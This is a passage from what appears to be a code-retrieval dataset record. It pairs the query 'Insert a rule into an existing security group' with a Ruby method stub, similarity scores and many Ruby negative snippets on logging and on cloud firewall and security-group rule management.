"0.5629114",
"0.5617944",
"0.5601501",
"0.5594853",
"0.55750203",
"0.55680835",
"0.5558665",
"0.55581146",
"0.55561",
"0.55396324",
"0.55026466",
"0.54902494",
"0.54861313",
"0.54832894",
"0.5478085",
"0.5478085",
"0.5476458",
"0.54728603",
"0.545868",
"0.543871",
"0.543871",
"0.54322433",
"0.54318386",
"0.5429066",
"0.5426958",
"0.54218614",
"0.54166394",
"0.5404998",
"0.53947014",
"0.5392427",
"0.53872687",
"0.538391",
"0.5372922",
"0.5372625",
"0.53665715",
"0.53599244",
"0.53599244",
"0.53599244",
"0.53592205",
"0.5353346",
"0.5345619",
"0.53319067",
"0.53253454",
"0.53251886",
"0.53220445",
"0.53122073",
"0.53115886",
"0.52927977",
"0.52922523",
"0.52920073",
"0.5285608",
"0.52786607",
"0.5275323",
"0.526863",
"0.52652943",
"0.5259768",
"0.5257313",
"0.5256654",
"0.5254325",
"0.52485144",
"0.52457947",
"0.52440614",
"0.52418965",
"0.52374995"
] |
0.0
|
-1
|
Log metadata about this ruleset to the currently running deployment
|
def notify
sg_data = MU.structToHash(
MU::Cloud::Google::FirewallRule.find(cloud_id: @cloud_id, region: @config['region'])
)
sg_data ||= {}
sg_data["group_id"] = @cloud_id
sg_data["project_id"] = @project_id
sg_data["cloud_id"] = @cloud_id
return sg_data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run\n print_debug 'In #run'\n audit self.class.payloads, self.class.options\n end",
"def record_to_statsd\n # Only record production deployments in production graphite\n if self.environment == \"production\"\n key = \"deploys.#{self.application.shortname}\"\n STATSD.increment(key)\n end\n end",
"def write_metadata; end",
"def log\n ::Deployable::Log.log\n end",
"def log_startup\n log_environment\n log_dispatcher\n log_app_name\n end",
"def write_metadata(variable_set: nil)\n end",
"def format_rule_process\n XES::Trace.new.tap do |trace|\n trace.concept_name = \"rule_process %s\" % Util::UUID.generate\n trace.attributes << XES.string(\"pione:traceType\", \"rule_process\")\n trace.events = @rule_process_log.records.map do |record|\n XES::Event.new.tap do |event|\n # standard attributes\n event.concept_name = record.name\n event.org_resource = record.caller\n event.time_timestamp = record.timestamp\n event.lifecycle_transition = record.transition\n\n # pione extension attributes\n event.attributes << XES.string(\"pione:ruleType\", record.rule_type)\n end\n end\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"ruleName\", @rule_name)\n writer.write_collection_of_object_values(\"scheduledActionConfigurations\", @scheduled_action_configurations)\n end",
"def activity_logging\n %w(write delete).each do |event|\n observer = @ts.notify(event, [:name, nil, DRbObject, nil])\n activity_output(observer)\n end\n end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n end\n end",
"def setup_log\r\n logfile = File.open(\"/home/englandk/rails_apps/reminders/log/auto_enquiry.log\", 'a')\r\n \r\n @log = AuditLogger.new(logfile)\r\n @log.level = Logger::INFO\r\n @log.debug \"Started auto response email run\"\r\n end",
"def logs\n end",
"def log\n @deps.log\n end",
"def output\n App.settings.log_output\n end",
"def logs\n @runner.log\n end",
"def set_audit_informations\n self.event_id = routing_key.split('.')[-3, 2].join(':')\n self.log_type = routing_key.split('.').slice(1, 2).join('.')\n self.routing_type = routing_key.split('.')[3]\n end",
"def log_configuration_information\n Mako.logger.info \"Configuration File: #{Mako.config.config_file}\"\n Mako.logger.info \"Theme: #{Mako.config.theme}\"\n Mako.logger.info \"Destination: #{Mako.config.destination}\"\n end",
"def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end",
"def logs\n\n end",
"def dynflow_logger\n ::Rails.logger\n end",
"def log_metadata(**values)\n @_context[:_metadata] ||= {}\n @_context[:_metadata].merge!(values)\n end",
"def log_action_summary(event)\n env = event.payload\n info do\n \"[#{req_id(env)}] #{req_origin(env)} -> #{res_result(env)} \" \\\n \"(#{event.duration.round(1)}ms)\"\n end\n end",
"def command(rule, vars)\n raise \"Invalid rule name '#{rule}'.\" unless valid_id(rule)\n @file.write(\"rule #{rule}\\n description = #{rule}\\n\")\n var_set(vars)\n end",
"def rule_set_artifacts\n @rule_set_artifacts ||= []\n end",
"def log_writer; end",
"def activity_log_create\n write_activity_log(:create)\n end",
"def log_to_mixpanel\n mixpanel_log_props = get_job_analytics\n # log job properties to Mixpanel\n MetricsService.log(mixpanel_event_name, mixpanel_log_props, user)\n end",
"def log\n instance.options[:log]\n end",
"def log\n instance.options[:log]\n end",
"def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end",
"def log\n @log\n end",
"def metadata\n get_ingest_run.metadata\n end",
"def result_log\n end",
"def result_log\n end",
"def result_log\n end",
"def apply_summary\n file = @file ? File.basename(@file) : 'SIMP server <host>.yaml'\n \"Setting of PuppetDB master server & port in #{file} #{@applied_status}\"\n end",
"def audit\n Rails.logger.info \"**************inside audit log************\"\n study_name, subject_name = study.name, subject.name\n \n Rake::Task['hello:process'].invoke\n \n file = File.join(File.dirname(__FILE__), 'audit.txt')\n File.open(file, 'a') { |f| f.puts \"A subject named #{subject_name} , enrolled to a Study named #{study_name} with priority 0\" }\n end",
"def log(severity, message)\n timestamp = Time.now.strftime('%m-%d %H:%M:%S')\n formatted = \"[%s] %s | %s\" % [timestamp, self.class.name, message]\n RDFMapper::Logger::Configuration.target.add(severity, formatted)\n end",
"def log\n end",
"def log\n advanced[:log]\n end",
"def output_metadata\n @output_metadata ||= {}\n end",
"def error_log\n end",
"def error_log\n end",
"def error_log\n end",
"def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if created_at_changed?\n logger.info \"Created assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n # RoleAssignments should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing RoleAssignment. This shouldn't happen. Assignment is between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end",
"def log()\n return @log unless @log.nil?\n @flow.log()\n end",
"def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end",
"def writeHistory()\n\t\t$target_stats.each do |k,v|\n\t\t\[email protected]({k=>v})\n\t\tend\n\tend",
"def add_email_log\n @@logs[@logname].outputters << EmailOutputter.new('email_out', # TODO (8) Make GUI for these prefs\n :server=>'heltenkelt.se',\n :port=>25,\n :domain=>'heltenkelt.se',\n :from=>'[email protected]',\n :to=>'[email protected]',\n :subject=>'Report from iTunesFeeder')\n end",
"def metadata\n configuration.metadata\n end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log\n logger.info \"Apply migration #{version}\\n\"\n end",
"def store_logger_name\n @config.connection.sadd(@config.log_set_key, @config.stream_name)\n rescue StandardError => exception\n @error_logger.warn \"unable to store name of log: #{exception}\"\n end",
"def record\n head = \"argument\\n\\n\"\n body = \"title #{@title}\\n\"\n @premises.each do |p|\n body += \"premise #{p.sha1}\\n\"\n end\n body += \"conclusion #{@conclusion.sha1}\\n\"\n record = head + body\n end",
"def own_meta_log\n meta_logs.first\n end",
"def log_output()\n prefix = @global_opts[:prefix] ? (@global_opts[:prefix] + \"-\") : \"\"\n t = Time.now.strftime(\"%Y%m%d%H%M%S\")\n\n # Check for any returned records\n if (@successes > 0 and not [\"set\", \"unset\", \"check\"].include?(@cmd))\n any_records = true\n else\n any_records = false\n end\n\n # Data\n if any_records\n data_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \".xml\"\n data = File.new(data_filename, \"w+:UTF-8\")\n data.write(@response_data)\n data.close\n end\n\n status_extension = @global_opts[:csv] ? \".csv\" : \".txt\"\n status_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \"-log\" + status_extension\n\n # Summary\n summary = \"\"\n summary << <<~SUMMARY\n OCLC WorldCat Metadata API: #{@cmd.capitalize} operation\n #{PAST_TENSE[@cmd].capitalize} #{@successes.to_s} #{@successes != 1 ? \"records\" : \"record\"} and #{@failures.to_s} failed\n #{\"Records written to \" + data_filename if any_records}\n Log written to #{status_filename}\n SUMMARY\n\n # Status log\n status = File.new(status_filename, \"w+:UTF-8\")\n status.write(@debug_info) if @global_opts[:debug]\n status.write(summary + \"\\n\")\n status.write(@response_status)\n status.close\n\n puts summary\n end",
"def task_details_for_log\n \"Node #{@puppet_mclient.node_id}, task #{@task}, manifest \"\\\n \"#{@puppet_mclient.manifest}\"\n end",
"def log_file; end",
"def final_metrics\n Rails.logger.info(\"\\n \\n Priority sync finished at #{Time.zone.now} \\n \\n EPs attempted to sync: #{@run_log.size} \\n EPs successfully synced: #{@run_log.size - @error_log.size} \\n EPs errored: #{@error_log.size} \\n\")\n end",
"def rss_log\n self\n end",
"def rss_log\n self\n end",
"def log_changes(action)\n Rails.logger.tagged \"ApplicationOperatorship #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created application operatorship between #{entity.log_identifier} and #{application.log_identifier}.\"\n else\n # ApplicationOperatorships should really only be created or destroyed, not updated.\n logger.error \"log_changes called for existing ApplicationOperatorship. This shouldn't happen. Operatorship is between #{entity.log_identifier} and #{application.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed application operatorship between entity (ID #{entity_id}, #{entity&.log_identifier}) and application (ID: #{application_id}, #{application&.log_identifier}).\"\n else\n logger.warn \"Unknown action in log_changes #{action}.\"\n end\n end\n end",
"def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end",
"def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end",
"def logger_output; end",
"def log_tags; end",
"def log_tags; end",
"def log_tags; end",
"def log_environment\n ::NewRelic::Agent.logger.info(\"Environment: #{NewRelic::Control.instance.env}\")\n end",
"def record_hit(klass, data)\n system(\"echo '#{data}' >> #{get_log_file_name(klass)}\")\n end",
"def notify\n {\n \"log_group_name\" => @config[\"log_group_name\"],\n \"log_stream_name\" => @config[\"log_stream_name\"]\n }\n end",
"def start_logging\n @log = Logging.logger[self.class]\n @log.debug \"starting autosign validator: \" + self.name.to_s\n end",
"def autolog_created\n autolog_event(:created)\n end",
"def inspect\n \"<AuditLogs::Entry id=#{@id} action=#{@action} reason=#{@reason} action_type=#{@action_type} target_type=#{@target_type} count=#{@count} days=#{@days} members_removed=#{@members_removed}>\"\n end",
"def log\n Engines.log\n end",
"def autoflush_log; end",
"def autoflush_log; end",
"def audit\n conf['dashboard']['audit']\n end",
"def print_rule(rule)\n unless rule.file_exists\n log_red \" #{rule.file}:\", false\n log_red \" '#{rule.before_pattern}' (file not found)\"\n\n return\n end\n\n log \" #{rule.file}:\", false\n\n unless rule.pattern_exists\n log_red \" '#{rule.before_pattern}' (pattern not found)\"\n\n return\n end\n\n log_green \" '#{rule.before_pattern}'\"\n end",
"def log_file\n end",
"def metadata\n @metadata\n end",
"def log\n Engine.logger\n end",
"def log_update\n (glossary_terms + observations).each do |object|\n object.log(:log_image_updated, name: log_name, touch: false)\n end\n end",
"def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend",
"def update_operations_metrics(save_asset = true)\n\n Rails.logger.info \"Updating the recorded operations metrics for asset = #{object_key}\"\n # nothing to do for now\n\n end",
"def setup_log_message\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n text = @acts[1].gsub(/<name>/i) { self.name }\n text.gsub!(/<target>/) { target.name rescue \"\" }\n get_scene.log_window.add_text(text)\n end",
"def log_production\n #@log.outputters << Outputter.stdout\n set_dir_and_logfilename(Time.now.to_i)\n FileOutputter.new('coregame_log', :filename=> @out_log_name) \n myApacheLikeFormat = PatternFormatter.new(:pattern => \"[%d] %m\") # questo usa [data] <testo>\n mybaseApacheLikeLog = RollingFileOutputter.new 'coregame_log', \n :maxsize => 999999999, \n :maxtime => 86400 * 7, # tempo in secondi (1 * 14 giorni). Dopo 14 giorni avviene il rollout e \n # quindi viene creato un nuovo file\n :filename => out_log_name, \n :trunc => false, # se true viene usato 'w' in File.open, altrimenti con false 'a' \n # voglio 'a' in quanto ogni volta che viene chiamato lo script, devo avere un append\n :formatter => myApacheLikeFormat\n\n \n Log4r::Logger['coregame_log'].add 'coregame_log'\n Log4r::Logger['coregame_log'].level = INFO\n end"
] |
[
"0.54701173",
"0.53571355",
"0.5327553",
"0.51641273",
"0.5160555",
"0.51460004",
"0.5136015",
"0.5108246",
"0.5040128",
"0.503627",
"0.5028032",
"0.50229406",
"0.49987307",
"0.49891275",
"0.49806234",
"0.49666506",
"0.49508625",
"0.4948504",
"0.49334854",
"0.49189657",
"0.49189433",
"0.49133736",
"0.4889291",
"0.48891786",
"0.48851082",
"0.48835513",
"0.48762164",
"0.4868924",
"0.4868924",
"0.4867847",
"0.48501596",
"0.4845255",
"0.4843096",
"0.4843096",
"0.4843096",
"0.4826633",
"0.4815097",
"0.4813946",
"0.4811491",
"0.48034504",
"0.47973183",
"0.47949362",
"0.47949362",
"0.47949362",
"0.47754833",
"0.4771697",
"0.4768855",
"0.47624198",
"0.47593948",
"0.4759283",
"0.4751477",
"0.4751477",
"0.4751477",
"0.4751477",
"0.4751477",
"0.4751477",
"0.4751477",
"0.47488105",
"0.47488105",
"0.47488105",
"0.47488105",
"0.47488105",
"0.47488105",
"0.47488105",
"0.47488105",
"0.4732808",
"0.47254232",
"0.472314",
"0.47217724",
"0.4713789",
"0.47123238",
"0.47099325",
"0.47089958",
"0.47089416",
"0.47089416",
"0.47016656",
"0.47013628",
"0.47013628",
"0.46953198",
"0.46905676",
"0.46905676",
"0.46905676",
"0.46855262",
"0.4681451",
"0.4678938",
"0.46774146",
"0.46554607",
"0.46501482",
"0.46426103",
"0.4639571",
"0.4639571",
"0.46345228",
"0.46285284",
"0.4617336",
"0.46146795",
"0.46089843",
"0.46084246",
"0.46018055",
"0.4595573",
"0.45886612",
"0.45703906"
] |
0.0
|
-1
|
Insert a rule into an existing security group.
|
def addRule(hosts, proto: "tcp", port: nil, egress: false, port_range: "0-65535")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_group(group, rule)\n return false unless rule.is_a?(Rule)\n @groups ||= {}\n (@groups[group] ||= []) << rule\n end",
"def add_rule(key, rule = nil, &block)\n key = key.to_sym\n if rules[key].nil?\n rule ||= Rule.new(key, &block)\n rules[key] = rule\n else\n raise Error, \"Rule with key '#{key}' already exists on this permission\"\n end\n end",
"def add_rule(rule_number, protocol, rule_action, cidr_block, egress, options = {})\n requires :network_acl_id\n\n service.create_network_acl_entry(network_acl_id, rule_number, protocol, rule_action, cidr_block, egress, options)\n true\n end",
"def add_rule(rule)\n @rulebook.add_rule rule\n end",
"def add_rule_group(rule_group)\n options = { :body => {\n :Rules => rule_group }.to_json }\n post \"rules\", options\n end",
"def add_rule( rule )\n type_check( rule, Elements::Rule )\n assert( !name_defined?(rule.name), \"name [#{rule.name}] is already in use\" )\n \n @rules[rule.name] = rule\n end",
"def add_rule(rule)\n new_rules = rules.dup\n new_rules << rule\n @rules = new_rules.uniq.freeze\n validate_rules!\n self\n end",
"def add_rule(rule)\n @rules << rule\n LOGGER.info \"Adding rule: #{rule.readable}\"\n end",
"def add_production_rule(rule)\n @production_rules << rule\n end",
"def add_rule(name, rule, &action)\n m = @rules.find {|r| r.name == name}\n action = @default_action if action.nil?\n if m.nil?\n @rules << Rule.new(name, rule, action)\n else\n m.rule = rule\n m.action = action\n end\n end",
"def add_policy(_sec, ptype, rule)\n db[table_name].insert(policy_line(ptype, rule))\n end",
"def add(rule); end",
"def add_rule(rule, keys, options, callback)\n @rules[rule] = Rule.new(rule, keys, options, callback) \n end",
"def << rule\n rules << rule\n nil\n end",
"def add_rule(pattern, replace = nil, &proc)\n\t\t\tif replace\n\t\t\t\t@rules << @rule.new(pattern, replace)\n\t\t\telse\n\t\t\t\t@rules << @rule.new(pattern, proc)\n\t\t\tend\n\t\tend",
"def add_rule request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::AddRuleSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end",
"def update_rule(rule_number, protocol, rule_action, cidr_block, egress, options = {})\n requires :network_acl_id\n\n service.replace_network_acl_entry(network_acl_id, rule_number, protocol, rule_action, cidr_block, egress, options)\n true\n end",
"def push(rule, dest=@rules)\n rule = rule.parse_rule if rule.kind_of? String\n if @rules.has_key? rule.head\n @rules[rule.head].push(rule.daughters)\n else\n @rules[rule.head] = [rule.daughters]\n end\n end",
"def add_rule request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}/addRule\"\n body = request_pb.security_policy_rule_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"def addRule(hosts,\n proto: \"tcp\",\n port: nil,\n egress: false,\n port_range: \"0-65535\"\n )\n rule = Hash.new\n rule[\"proto\"] = proto\n if hosts.is_a?(String)\n rule[\"hosts\"] = [hosts]\n else\n rule[\"hosts\"] = hosts\n end\n if port != nil\n port = port.to_s if !port.is_a?(String)\n rule[\"port\"] = port\n else\n rule[\"port_range\"] = port_range\n end\n ec2_rule = convertToEc2([rule])\n\n begin\n if egress\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_egress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n else\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).authorize_security_group_ingress(\n group_id: @cloud_id,\n ip_permissions: ec2_rule\n )\n end\n rescue Aws::EC2::Errors::InvalidPermissionDuplicate => e\n MU.log \"Attempt to add duplicate rule to #{@cloud_id}\", MU::DEBUG, details: ec2_rule\n end\n end",
"def add_group!( group )\n save if add_group( group )\n end",
"def add_inbound_rule(rule_number, protocol, rule_action, cidr_block, options = {})\n add_rule(rule_number, protocol, rule_action, cidr_block, false, options)\n end",
"def rules=(new_rules)\n Fog::Logger.deprecation('#rules= is deprecated. Use the Fog::OpenStack::Compute::SecurityGroupRules collection to create new rules.')\n attributes[:security_group_rules] = new_rules\n end",
"def content_rules_rule_group_name_put(authorization, web_application_name, rule_group_name, rule_group, opts = {})\n data, status_code, headers = content_rules_rule_group_name_put_with_http_info(authorization, web_application_name, rule_group_name, rule_group, opts)\n [data, status_code, headers]\n end",
"def add_test(example, rule)\n set_rspec_ids(example, rule)\n @tests.example_groups.push(example)\n end",
"def addRule(value, tag=nil)\n #Gotta have a rule value, but tag is optional.\n rule = Hash.new\n rule[:value] = value\n if not tag.nil? then\n rule[:tag] = tag\n end\n #Add rule to rules array.\n @rules << rule\n end",
"def add_rule(rule)\n if rule.is_a? Axlsx::ConditionalFormattingRule\n @rules << rule\n elsif rule.is_a? Hash\n @rules << ConditionalFormattingRule.new(rule)\n end\n end",
"def new_rule(rule)\n Rule.new(rule)\n end",
"def add_rule(key, rule)\n if ValidationProfiler::Rules::Manager.instance.nil?\n ValidationProfiler::Rules::Manager.new\n end\n\n ValidationProfiler::Rules::Manager.instance.add_rule(key, rule)\n end",
"def add_rule(params)\n response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n params.to_json,\n @@headers)\n\n check_rest_response(response)\n end",
"def addTeamRule(rule)\r\n @teamRules.push(rule)\r\n return self\r\n end",
"def add_item_routing_rule(rule)\n @item_routing_rules << rule\n end",
"def add_rule(rhs)\n nonterm = '~[' + @nonterm.succ! + ']'\n @rules[nonterm] = rhs\n nonterm\n end",
"def <<(rule); end",
"def addRule(s, d, t)\r\n invalidMsg = CFG.ruleInvalid(s, d, t)\r\n unless invalidMsg.nil?\r\n return \"Rule invalid:\\n\" + invalidMsg\r\n else\r\n @rules[s.to_sym] = [] unless @rules[s.to_sym]\r\n @rules[s.to_sym].push([d,t])\r\n end\r\n end",
"def add_to_group(group)\n self.memberships.create(group_id: group.id)\n end",
"def lex_group start_state, regexp, action = nil\n rule = Rule.new(start_state, regexp, action)\n rule.group = group\n self.group << rule\n end",
"def add(fw_rule)\n Dnet.fw_add @handle, fw_rule\n end",
"def security_group=(new_cidr_block)\n new_cidr_block = new_cidr_block + '/32' unless new_cidr_block.include? \"/\"\n @environment.vpc.security_groups.each do |sg|\n @security_group = sg if sg.group_name == 'SshSecurityGroup' + new_cidr_block\n end\n\n # only create security group if it does not exist\n if @security_group.nil?\n ec2 = Aws::EC2::Resource.new(region: 'us-west-2')\n\n @security_group = ec2.create_security_group(\n group_name: 'SshSecurityGroup' + new_cidr_block,\n description: 'Enable SSH access via port 22',\n vpc_id: @environment.vpc.id\n )\n\n @security_group.authorize_egress(\n ip_permissions: [\n ip_protocol: 'tcp',\n from_port: 22,\n to_port: 22,\n ip_ranges: [\n cidr_ip: new_cidr_block\n ]\n ]\n )\n end\n end",
"def add_outbound_rule(rule_number, protocol, rule_action, cidr_block, options = {})\n add_rule(rule_number, protocol, rule_action, cidr_block, true, options)\n end",
"def apply_rule(rule, position, events)\n rule.exec(self, events)\n end",
"def node_rule rule:\n label = make_label rule.values\n attrs = rule # assign all rule attributes\n\n add_node :Rule, label, attrs\n end",
"def create_rule(name, script, order = nil, enabled = true, stage = 'login_success')\n raise Auth0::InvalidParameter, 'Must supply a valid name' if name.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid script' if script.to_s.empty?\n request_params = {\n name: name,\n enabled: enabled,\n script: script,\n order: order,\n stage: stage\n }\n post(rules_path, request_params)\n end",
"def add_group(key)\n key = key.to_sym\n if group_or_permission(key).nil?\n @groups[key] = PermissionGroup.new(@schema, self, key)\n else\n raise Error, \"Group or permission with key of #{key} already exists\"\n end\n end",
"def create_or_replace_gateway_rule(domain_id, gateway_policy_id, rule_id, rule, opts = {})\n data, _status_code, _headers = create_or_replace_gateway_rule_with_http_info(domain_id, gateway_policy_id, rule_id, rule, opts)\n data\n end",
"def add_seg_rule(seg_name, flavor)\n raise \"no openstack instance\" if @openstack.nil?\n seg_id = seg_name_to_id(seg_name)\n\n case flavor\n when BOSH_FLAVOR\n add_ing_rule(seg_id, 53, 'udp')\n add_ing_rule(seg_id, 68, 'udp')\n add_ing_rule(seg_id, 53, 'tcp')\n add_ing_rule(seg_id, 4222, 'tcp')\n add_ing_rule(seg_id, 6868, 'tcp')\n add_ing_rule(seg_id, 25250, 'tcp')\n add_ing_rule(seg_id, 25555, 'tcp')\n @openstack.create_security_group_rule(seg_id, 'tcp', 1, 65535, \"0.0.0.0/0\", seg_id)\n when SSH_FLAVOR\n add_ing_rule(seg_id, 22, 'tcp')\n add_ing_rule(seg_id, 68, 'udp')\n when CF_PUB_FLAVOR\n add_ing_rule(seg_id, 22, 'tcp')\n add_ing_rule(seg_id, 80, 'tcp')\n add_ing_rule(seg_id, 443, 'tcp')\n add_ing_rule(seg_id, 68, 'udp')\n when CF_PRI_FLAVOR\n add_ing_rule(seg_id, 22, 'tcp')\n add_ing_rule(seg_id, 68, 'udp')\n @openstack.create_security_group_rule(seg_id, 'tcp', 1, 65535, \"0.0.0.0/0\", seg_id)\n else\n raise \"unsupported flavor\"\n end\n end",
"def setRules(rules, add_to_self: false, ingress: true, egress: false)\n return if rules.nil? or rules.size == 0\n\n if add_to_self\n rules.each { |rule|\n if rule['sgs'].nil?\n new_rule = rule.clone\n new_rule.delete('hosts')\n rule['sgs'] = Array.new if rule['sgs'].nil?\n rule['sgs'] << { \"Ref\" => @cfm_name }\n end\n }\n end\n\n ec2_rules = convertToEc2(rules)\n\n # Creating an empty security group is ok, so don't freak out if we get\n # a null rule list.\n if !ec2_rules.nil?\n ec2_rules.each { |rule|\n next if rule.nil? or rule[:ip_ranges].nil? # XXX whaaat\n rule[:ip_ranges].each { |cidr|\n MU::Cloud::CloudFormation.setCloudFormationProp(\n @cfm_template[@cfm_name],\n \"SecurityGroupIngress\",\n {\n \"IpProtocol\" => rule[:ip_protocol],\n \"FromPort\" => rule[:from_port],\n \"ToPort\" => rule[:to_port],\n \"CidrIp\" => cidr[:cidr_ip]\n }\n )\n }\n }\n end\n\n end",
"def add_group(group_id)\n\t\t\n\t\t# ADD ERROR CHECKING HERE FOR INVALID GROUP -> TEST\n\n\t\tself.group_list |= [group_id]\n\t\tself.update_attribute(:group_list, self.group_list)\n\t\t\n\tend",
"def <<(group) \n @groups[group.name] = group\n end",
"def add_permission group, acl\n modify_permission(group, acl) { |perm|\n [perm.acl.to_s.split(\"\"), acl.split(\"\")].flatten.map(&:strip).\n uniq.sort.join\n }\n end",
"def add_rule_in_section(section_id, firewall_rule, opts = {})\n data, _status_code, _headers = add_rule_in_section_with_http_info(section_id, firewall_rule, opts)\n data\n end",
"def rule=(rule)\n write_attribute :rule_id, case rule\n when ReputationRule\n rule.id\n else \n ReputationRule.find_by_name( rule ).try(:id)\n end\n end",
"def add_address(ipaddress, rule)\n return false unless rule.is_a?(Rule)\n @addresses ||= {}\n (@addresses[ipaddress] ||= []) << rule\n rule\n end",
"def add *rules\n self.set(self, *rules)\n end",
"def add_rule(subject, clauses)\n options = { :body => {\n :Subject => subject,\n :Clauses => clauses }.to_json }\n response = @create_send.post \"/segments/#{segment_id}/rules.json\", options\n end",
"def insert_group(group, opts = {})\n data, _status_code, _headers = insert_group_with_http_info(group, opts)\n data\n end",
"def add_group(group, gid=nil)\n\t\t\t\tCfruby.controller.attempt(\"Adding group \\\"#{group}\\\"\", 'destructive') {\n\t\t\t\t\t# Only add the group if it's not already there\n\t\t\t\t\tif !group?(group)\n\t\t\t\t\t\tif(gid == nil)\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}'`\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}' -g #{gid.to_i()}`\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend",
"def add_to_group(group_path, group_name)\n group = RubyAem::Resources::Group.new(@client, group_path, group_name)\n group.add_member(@call_params[:name])\n end",
"def push(rule)\n raise TypeError, \"expected Artifactory::Cleaner::ArtifactFilterRule, got #{rule.class.name}\" unless rule.is_a? Artifactory::Cleaner::ArtifactFilterRule\n @rules.push rule\n @sorted = false\n self\n end",
"def add_rule(tag, data, id)\n @rules ||= {}\n @rules[tag] ||= {}\n @rules[tag][id] ||= data.each_with_object({}) do |(key, value), style|\n if value.is_a? Hash\n handle_rule_raw_hash tag, key, value\n else\n style[key] = value\n end\n end\n end",
"def add_rule(opts)\n opts = check_params(opts,[:rules])\n super(opts)\n end",
"def add_rule(rule_object)\n\n # store the rule\n @rules[rule_object.name] = rule_object\n\n case\n\n # rule which asserts facts without conditions or questions\n when rule_object.matcher.nil? && rule_object.questions.empty?\n\n # add the rule to the fact rules array, contains rules with only facts\n @fact_rules << rule_object\n\n when rule_object.matcher.nil? && rule_object.questions.count > 0\n\n # rules can be triggered directly\n @start_rules << rule_object\n\n else\n\n # get the matcher\n matcher = rule_object.matcher\n\n # get the matcher type (any / all)\n matcher_type = matcher.type\n\n # generate the ruleby conditions based on the matcher conditions\n conditions = create_conditions matcher.conditions\n\n # switch statement for the matcher type\n case matcher_type\n\n # all the conditions must match\n when :all\n\n # star to convert array to arguments\n rule AND *conditions do |v|\n\n # when rule is applicable, add to possible rules\n rule_handler rule_object\n\n end\n\n # one of the conditions must match\n when :any\n\n # star to convert array to arguments\n rule OR *conditions do |v|\n\n # when rule is applicable, add to possible rules\n rule_handler rule_object\n\n end\n\n else\n 